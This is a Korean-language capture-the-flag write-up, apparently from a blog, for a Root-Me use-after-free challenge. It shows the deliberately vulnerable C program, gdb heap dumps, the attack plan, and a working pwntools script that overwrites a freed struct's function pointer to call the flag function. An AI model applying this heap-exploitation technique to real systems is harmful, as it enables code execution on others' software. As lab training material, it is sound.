1. intro
2. code 및 분석
2.1. code
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFLEN 64
struct Dog {
char name[12];
void (*bark)();
void (*bringBackTheFlag)();
void (*death)(struct Dog*);
};
struct DogHouse{
char address[16];
char name[8];
};
int eraseNl(char* line){
for(;*line != '\n'; line++);
*line = 0;
return 0;
}
void bark(){
int i;
for(i = 3; i > 0; i--){
puts("UAF!!!");
sleep(1);
}
}
void bringBackTheFlag(){
char flag[32];
FILE* flagFile = fopen(".passwd","r");
if(flagFile == NULL)
{
puts("fopen error");
exit(1);
}
fread(flag, 1, 32, flagFile);
flag[20] = 0;
fclose(flagFile);
puts(flag);
}
void death(struct Dog* dog){
printf("%s run under a car... %s 0-1 car\n", dog->name, dog->name);
free(dog);
}
struct Dog* newDog(char* name){
printf("You buy a new dog. %s is a good name for him\n", name);
struct Dog* dog = malloc(sizeof(struct Dog));
strncpy(dog->name, name, 12);
dog->bark = bark;
dog->bringBackTheFlag = bringBackTheFlag;
dog->death = death;
return dog;
}
void attachDog(struct DogHouse* dogHouse, struct Dog* dog){
printf("%s lives in %s.\n", dog->name, dogHouse->address);
}
void destruct(struct DogHouse* dogHouse){
if(dogHouse){
puts("You break the dog house.");
free(dogHouse);
}
else
puts("You do not have a dog house.");
}
struct DogHouse* newDogHouse(){
char line[BUFLEN] = {0};
struct DogHouse* dogHouse = malloc(sizeof(struct DogHouse));
puts("Where do you build it?");
fgets(line, BUFLEN, stdin);
eraseNl(line);
strncpy(dogHouse->address, line, 16);
puts("How do you name it?");
fgets(line, 64, stdin);
eraseNl(line);
strncpy(dogHouse->name, line, 8);
puts("You build a new dog house.");
return dogHouse;
}
int main(){
int end = 0;
char order = -1;
char nl = -1;
char line[BUFLEN] = {0};
struct Dog* dog = NULL;
struct DogHouse* dogHouse = NULL;
while(!end){
puts("1: Buy a dog\n2: Make him bark\n3: Bring me the flag\n4: Watch his death\n5: Build dog house\n6: Give dog house to your dog\n7: Break dog house\n0: Quit");
order = getc(stdin);
nl = getc(stdin);
if(nl != '\n'){
exit(0);
}
fseek(stdin,0,SEEK_END);
switch(order){
case '1':
puts("How do you name him?");
fgets(line, BUFLEN, stdin);
eraseNl(line);
dog = newDog(line);
break;
case '2':
if(!dog){
puts("You do not have a dog.");
break;
}
dog->bark();
break;
case '3':
if(!dog){
puts("You do not have a dog.");
break;
}
printf("Bring me the flag %s!!!\n", dog->name);
sleep(2);
printf("%s prefers to bark...\n", dog->name);
dog->bark();
break;
case '4':
if(!dog){
puts("You do not have a dog.");
break;
}
dog->death(dog);
break;
case '5':
dogHouse = newDogHouse();
break;
case '6':
if(!dog){
puts("You do not have a dog.");
break;
}
if(!dogHouse){
puts("You do not have a dog house.");
break;
}
attachDog(dogHouse, dog);
break;
case '7':
if(!dogHouse){
puts("You do not have a dog house.");
break;
}
destruct(dogHouse);
break;
case '0':
default:
end = 1;
}
}
return 0;
}
2.2. 분석
우선 본 문제의 목표는 코드에서 보다시피 bringBackTheFlag 함수를 실행하는 것이다.
각 메뉴의 역할을 보면
1 : newdog 함수를 실행하며, 총 24 byte의 Dog struct가 heap 영역에 할당되며, 낮은 주소부터
12 byte - name
4 byte - bark 함수 주소
4 byte - bringBackTheFlag 함수 주소
4 byte - death 함수 주소
의 값을 가지며, aaaa의 값을 입력하였을때 heap 영역의 모양은 아래와 같다.
(gdb) x/40wx 0x08a85000
0x8a85000: 0x00000000 0x00000021 0x61616161 0x00000000
0x8a85010: 0x00000000 0x08048765 0x080487cb 0x08048871
0x8a85020: 0x00000000 0x00020fe1 0x00000000 0x00000000
0x8a85030: 0x00000000 0x00000000 0x00000000 0x00000000
0x8a85040: 0x00000000 0x00000000 0x00000000 0x00000000
0x8a85050: 0x00000000 0x00000000 0x00000000 0x00000000
0x8a85060: 0x00000000 0x00000000 0x00000000 0x00000000
0x8a85070: 0x00000000 0x00000000 0x00000000 0x00000000
0x8a85080: 0x00000000 0x00000000 0x00000000 0x00000000
0x8a85090: 0x00000000 0x00000000 0x00000000 0x00000000
(ASLR으로 인해 heap 시작 주소는 매번 변경된다.)
즉, 위의 heap 영역을 기준으로
0x8a85000 : pre_size
0x8a85004 : size
0x8a85008 : name
0x8a85014 : bark 함수 주소
0x8a85018 : bringBackTheFlag 함수 주소
0x8a8501c : death 함수 주소
와 같이 heap 영역에 데이터가 할당된다.
2 : bark 함수를 실행하며, "UAF" 문자열을 출력한다.
3 : bringBackTheFlag 함수를 실행하...ㄹ 것 같아보이지만 bark 함수를 실행한다.
4 : dog struct로 할당된 heap 영역을 free 한다.
5 : newdoghouse 함수를 실행하며, 총 24 byte의 DogHouse struct가 heap 영역에 할당되며, 낮은 주소부터
16 byte - address
8 byte - name
의 값을 가지게 되며, 입력받은 값이 각 buffer의 size보다 작은 경우 0으로 채운다.
(gdb) x/40wx 0x09914000
0x9914000: 0x00000000 0x00000021 0x61616161 0x61616161
0x9914010: 0x61616161 0x00000000 0x62626262 0x62626262
0x9914020: 0x00000000 0x00020fe1 0x00000000 0x00000000
0x9914030: 0x00000000 0x00000000 0x00000000 0x00000000
0x9914040: 0x00000000 0x00000000 0x00000000 0x00000000
0x9914050: 0x00000000 0x00000000 0x00000000 0x00000000
0x9914060: 0x00000000 0x00000000 0x00000000 0x00000000
0x9914070: 0x00000000 0x00000000 0x00000000 0x00000000
0x9914080: 0x00000000 0x00000000 0x00000000 0x00000000
0x9914090: 0x00000000 0x00000000 0x00000000 0x00000000
즉, 위의 heap 영역을 기준으로
0x9914000 : pre_size
0x9914004 : size
0x9914008 : address
0x9914018 : name
가 된다.
6 : attachDog 함수가 실행되며, main의 dogHouse 변수와 dog 변수 값을 전달받아 dog lives in doghouse 문자열을 출력한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
제목에서 보듯이 use after free는 heap 영역이 할당 및 해제된 후 적절한 값이 다시 할당될때 이전에 free된 영역을 재사용하면서 기존 값을 일부분 그대로 사용하게 된다.
3.2. 공격 준비
본 문제에서는 main 함수 내에서
dog 변수에 newdog heap 영역의 주소를 담게되고,
doghouse 변수에 newdoghouse heap 영역의 주소를 담게 되는데,
free로 인해 heap 영역이 해제되더라도 새로 할당되기 전까지는 동일한 주소를 담고 있는 것이 문제가 되며,
이로 인해 newdoghouse heap 영역 중 address의 마지막 4 byte가 newdog 함수를 bark 함수의 주소로 대체할 수 있게 된다.
전체적인 시나리오는 아래와 같다.
- buy a dog 실행 : 24 byte heap 할당 및 dog 변수에 해당 영역 주소 저장
- watch his death 실행 : dog 변수의 주소를 참조해서 heap 영역 free
- build dog house 실행 : 24 byte heap 할당, address 값을 입력할때 12 byte dummy + bringBackTheFlag 함수 주소 입력, name 값은 무관함.
- 앞선 dog 영역이 free 되었고 크기가 같기에 dog heap 영역을 재사용 및 doghouse 변수에 해당 영역 주소 저장.
- 즉,
- dog 변수 값 = doghouse 변수 값
- dog heap의 bark 주소 = doghouse의 address 변수 13~16번째 값
- make him bark 실행 = bringBackTheFlag 함수 실행
이 된다.
4. exploit
from pwn import *
s = ssh(user='app-systeme-ch63',host='challenge03.root-me.org',port=2223,password='app-systeme-ch63')
p=s.process('./ch63')
p.recv(1024).decode() #menu
p.sendline(b'1')
p.recv(1024).decode() #how do you name him?
p.sendline(b'dogname')
p.recv(1024).decode() #you buy a new dog
p.sendline(b'4')
p.recv(1024).decode() #death
p.sendline(b'5')
p.recv(1024).decode() #building add
pay=b''
pay+=b'A'*12
pay+=p32(0x080487cb)
p.sendline(pay)
p.recv(1024).decode() # building name
p.sendline(b'building name')
p.recv(1024).decode()
p.sendline(b'7')
p.recv(1024).decode() #break building
p.sendline(b'3')
print(p.recv(1024).decode()) #bark
print(p.recv(1024).decode()) #bark
┌──(kali㉿kali)-[~]
└─$ python a.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Connecting to challenge03.root-me.org on port 2223: Done
[*] app-systeme-ch63@challenge03.root-me.org:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process bytearray(b'./ch63') on challenge03.root-me.org: pid 27632
Bring me the flag !!!
prefers to bark...
-------------- #플래그는 삭제
문제를 쉽게 쉽게 생각해야지 하다가도 자체적으로 난이도를 높여버린다;;
제목이 use after free라고 하기에 heap 영역의 buffer를 할당했다 해제했다하며 bringBackTheFlag 함수 주소의 위치를 적절히 이동시켜 실행할 수 있을거라 생각했다.
하지만 아쉽게도 Dog struct와 DogHouse struct가 같은 size라는게 문제였다.
그래서 ROP을 통해 해당 주소로 jmp 해볼까도 생각했는데, 천천히 다시 생각해봤더니 위의 방법이 생각났다.
'Wargame > Root me' 카테고리의 다른 글
[App-System] ELF x64 - Stack buffer overflow - PIE (0) | 2022.07.09 |
---|---|
[App-System] ELF x86 - BSS buffer overflow (0) | 2022.07.08 |
[App-System] ELF x86 - Stack buffer overflow basic 3 (0) | 2022.07.07 |
[App-System] ELF x86 - Race condition (0) | 2022.07.07 |
[App-System] ELF x86 - Format string bug basic 2 (0) | 2022.07.04 |